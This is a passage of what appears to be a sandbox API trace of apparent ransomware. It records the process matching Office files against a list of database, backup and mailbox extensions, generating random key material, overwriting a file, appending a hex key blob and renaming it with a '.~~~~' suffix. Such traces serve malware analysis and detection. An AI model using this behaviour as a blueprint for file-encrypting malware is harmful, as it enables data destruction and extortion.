	[0135.693] lstrlenW (lpString=".eql") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".eql") returned 0x0
	[0135.693] lstrlenW (lpString=".DBF") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DBF") returned 0x0
	[0135.693] lstrlenW (lpString=".EQL") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".EQL") returned 0x0
	[0135.693] lstrlenW (lpString=".FDB") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".FDB") returned 0x0
	[0135.693] lstrlenW (lpString=".EDB") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".EDB") returned 0x0
	[0135.694] lstrlenW (lpString=".DACPAC") returned 7
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0135.694] lstrlenW (lpString=".VHD") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".VHD") returned 0x0
	[0135.694] lstrlenW (lpString=".DBV") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DBV") returned 0x0
	[0135.694] lstrlenW (lpString=".dacpac") returned 7
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0135.694] lstrlenW (lpString=".sdf") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".sdf") returned 0x0
	[0135.694] lstrlenW (lpString=".accdb") returned 6
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".accdb") returned 0x0
	[0135.694] lstrlenW (lpString=".DBX") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DBX") returned 0x0
	[0135.694] lstrlenW (lpString=".MDT") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".MDT") returned 0x0
	[0135.694] lstrlenW (lpString=".SQB") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".SQB") returned 0x0
	[0135.694] lstrlenW (lpString=".vhd") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".vhd") returned 0x0
	[0135.694] lstrlenW (lpString=".bac") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".bac") returned 0x0
	[0135.694] lstrlenW (lpString=".mdf") returned 4
	[0135.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".mdf") returned 0x0
	[0135.695] lstrlenW (lpString=".BAK") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".BAK") returned 0x0
	[0135.695] lstrlenW (lpString=".BAC") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".BAC") returned 0x0
	[0135.695] lstrlenW (lpString=".dbs") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dbs") returned 0x0
	[0135.695] lstrlenW (lpString=".vhdx") returned 5
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0135.695] lstrlenW (lpString=".NDF") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".NDF") returned 0x0
	[0135.695] lstrlenW (lpString=".dat") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dat") returned 0x0
	[0135.695] lstrlenW (lpString=".DBS") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DBS") returned 0x0
	[0135.695] lstrlenW (lpString=".CKP") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".CKP") returned 0x0
	[0135.695] lstrlenW (lpString=".edb") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".edb") returned 0x0
	[0135.695] lstrlenW (lpString=".PST") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".PST") returned 0x0
	[0135.695] lstrlenW (lpString=".dbf") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dbf") returned 0x0
	[0135.695] lstrlenW (lpString=".SQL") returned 4
	[0135.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".SQL") returned 0x0
	[0135.695] lstrlenW (lpString=".pst") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".pst") returned 0x0
	[0135.696] lstrlenW (lpString=".dbv") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dbv") returned 0x0
	[0135.696] lstrlenW (lpString=".SDF") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".SDF") returned 0x0
	[0135.696] lstrlenW (lpString=".dtxs") returned 5
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0135.696] lstrlenW (lpString=".db3") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".db3") returned 0x0
	[0135.696] lstrlenW (lpString=".OST") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".OST") returned 0x0
	[0135.696] lstrlenW (lpString=".dbx") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dbx") returned 0x0
	[0135.696] lstrlenW (lpString=".DB3") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DB3") returned 0x0
	[0135.696] lstrlenW (lpString=".DAT") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DAT") returned 0x0
	[0135.696] lstrlenW (lpString=".VHDX") returned 5
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0135.696] lstrlenW (lpString=".ndf") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".ndf") returned 0x0
	[0135.696] lstrlenW (lpString=".DB") returned 3
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DB") returned 0x0
	[0135.696] lstrlenW (lpString=".sql") returned 4
	[0135.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".sql") returned 0x0
	[0135.697] lstrlenW (lpString=".MYD") returned 4
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".MYD") returned 0x0
	[0135.697] lstrlenW (lpString=".DBT") returned 4
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DBT") returned 0x0
	[0135.697] lstrlenW (lpString=".ACCDB") returned 6
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0135.697] lstrlenW (lpString=".fdb") returned 4
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".fdb") returned 0x0
	[0135.697] lstrlenW (lpString=".bak") returned 4
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".bak") returned 0x0
	[0135.697] lstrlenW (lpString=".myd") returned 4
	[0135.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".myd") returned 0x0
	[0135.697] lstrlenW (lpString=".DTXS") returned 5
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0135.749] lstrlenW (lpString=".ckp") returned 4
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".ckp") returned 0x0
	[0135.749] lstrlenW (lpString=".dbt") returned 4
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dbt") returned 0x0
	[0135.749] lstrlenW (lpString=".db") returned 3
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".db") returned 0x0
	[0135.749] lstrlenW (lpString=".TXT") returned 4
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".TXT") returned 0x0
	[0135.749] lstrlenW (lpString=".MDF") returned 4
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".MDF") returned 0x0
	[0135.749] lstrlenW (lpString=".bdb") returned 4
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".bdb") returned 0x0
	[0135.749] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.749] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29086d0) returned 1
	[0135.750] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.750] CryptReleaseContext (hProv=0x29086d0, dwFlags=0x0) returned 1
	[0135.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.751] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25574069976) returned 1
	[0135.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba5b5db0, dwHighDateTime=0x1d60e1e)) 
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4890
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4890 | out: hHeap=0x300000) returned 1
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7ab0
	[0135.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.751] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.752] GetLastError () returned 0x0
	[0135.752] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.752] GetLastError () returned 0x0
	[0135.756] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.756] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.757] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.757] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.762] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.763] CloseHandle (hObject=0x140) returned 1
	[0135.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0135.767] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.~~~~")) returned 1
	[0135.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0135.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.806] GetLastError () returned 0x0
	[0135.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll", lpSrch=".scr") returned 0x0
	[0135.806] lstrlenW (lpString=".cmd") returned 4
	[0135.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll", lpSrch=".cmd") returned 0x0
	[0135.806] lstrlenW (lpString=".dll") returned 4
	[0135.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll", lpSrch=".dll") returned=".dll"
	[0135.806] lstrlenW (lpString=".dll") returned 4
	[0135.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x394db0 | out: hHeap=0x300000) returned 1
	[0135.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0620 | out: hHeap=0x300000) returned 1
	[0135.806] RtlWakeConditionVariable () returned 0x365f70
	[0135.806] GetCurrentThreadId () returned 0xaf0
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".scr") returned 0x0
	[0135.807] lstrlenW (lpString=".cmd") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".cmd") returned 0x0
	[0135.807] lstrlenW (lpString=".dll") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dll") returned 0x0
	[0135.807] lstrlenW (lpString=".bat") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".bat") returned 0x0
	[0135.807] lstrlenW (lpString=".cpl") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".cpl") returned 0x0
	[0135.807] lstrlenW (lpString=".sys") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".sys") returned 0x0
	[0135.807] lstrlenW (lpString=".msc") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".msc") returned 0x0
	[0135.807] lstrlenW (lpString=".com") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".com") returned 0x0
	[0135.807] lstrlenW (lpString=".lnk") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".lnk") returned 0x0
	[0135.807] lstrlenW (lpString=".msp") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".msp") returned 0x0
	[0135.807] lstrlenW (lpString=".pif") returned 4
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".pif") returned 0x0
	[0135.807] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch="msp\r\n.pif") returned 0x0
	[0135.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.811] lstrlenW (lpString=".sqb") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".sqb") returned 0x0
	[0135.811] lstrlenW (lpString=".ost") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".ost") returned 0x0
	[0135.811] lstrlenW (lpString=".txt") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".txt") returned 0x0
	[0135.811] lstrlenW (lpString=".mdt") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".mdt") returned 0x0
	[0135.811] lstrlenW (lpString=".BDB") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".BDB") returned 0x0
	[0135.811] lstrlenW (lpString=".eql") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".eql") returned 0x0
	[0135.811] lstrlenW (lpString=".DBF") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DBF") returned 0x0
	[0135.811] lstrlenW (lpString=".EQL") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".EQL") returned 0x0
	[0135.811] lstrlenW (lpString=".FDB") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".FDB") returned 0x0
	[0135.811] lstrlenW (lpString=".EDB") returned 4
	[0135.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".EDB") returned 0x0
	[0135.811] lstrlenW (lpString=".DACPAC") returned 7
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DACPAC") returned 0x0
	[0135.812] lstrlenW (lpString=".VHD") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".VHD") returned 0x0
	[0135.812] lstrlenW (lpString=".DBV") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DBV") returned 0x0
	[0135.812] lstrlenW (lpString=".dacpac") returned 7
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dacpac") returned 0x0
	[0135.812] lstrlenW (lpString=".sdf") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".sdf") returned 0x0
	[0135.812] lstrlenW (lpString=".accdb") returned 6
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".accdb") returned 0x0
	[0135.812] lstrlenW (lpString=".DBX") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DBX") returned 0x0
	[0135.812] lstrlenW (lpString=".MDT") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".MDT") returned 0x0
	[0135.812] lstrlenW (lpString=".SQB") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".SQB") returned 0x0
	[0135.812] lstrlenW (lpString=".vhd") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".vhd") returned 0x0
	[0135.812] lstrlenW (lpString=".bac") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".bac") returned 0x0
	[0135.812] lstrlenW (lpString=".mdf") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".mdf") returned 0x0
	[0135.812] lstrlenW (lpString=".BAK") returned 4
	[0135.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".BAK") returned 0x0
	[0135.813] lstrlenW (lpString=".BAC") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".BAC") returned 0x0
	[0135.813] lstrlenW (lpString=".dbs") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dbs") returned 0x0
	[0135.813] lstrlenW (lpString=".vhdx") returned 5
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".vhdx") returned 0x0
	[0135.813] lstrlenW (lpString=".NDF") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".NDF") returned 0x0
	[0135.813] lstrlenW (lpString=".dat") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dat") returned 0x0
	[0135.813] lstrlenW (lpString=".DBS") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DBS") returned 0x0
	[0135.813] lstrlenW (lpString=".CKP") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".CKP") returned 0x0
	[0135.813] lstrlenW (lpString=".edb") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".edb") returned 0x0
	[0135.813] lstrlenW (lpString=".PST") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".PST") returned 0x0
	[0135.813] lstrlenW (lpString=".dbf") returned 4
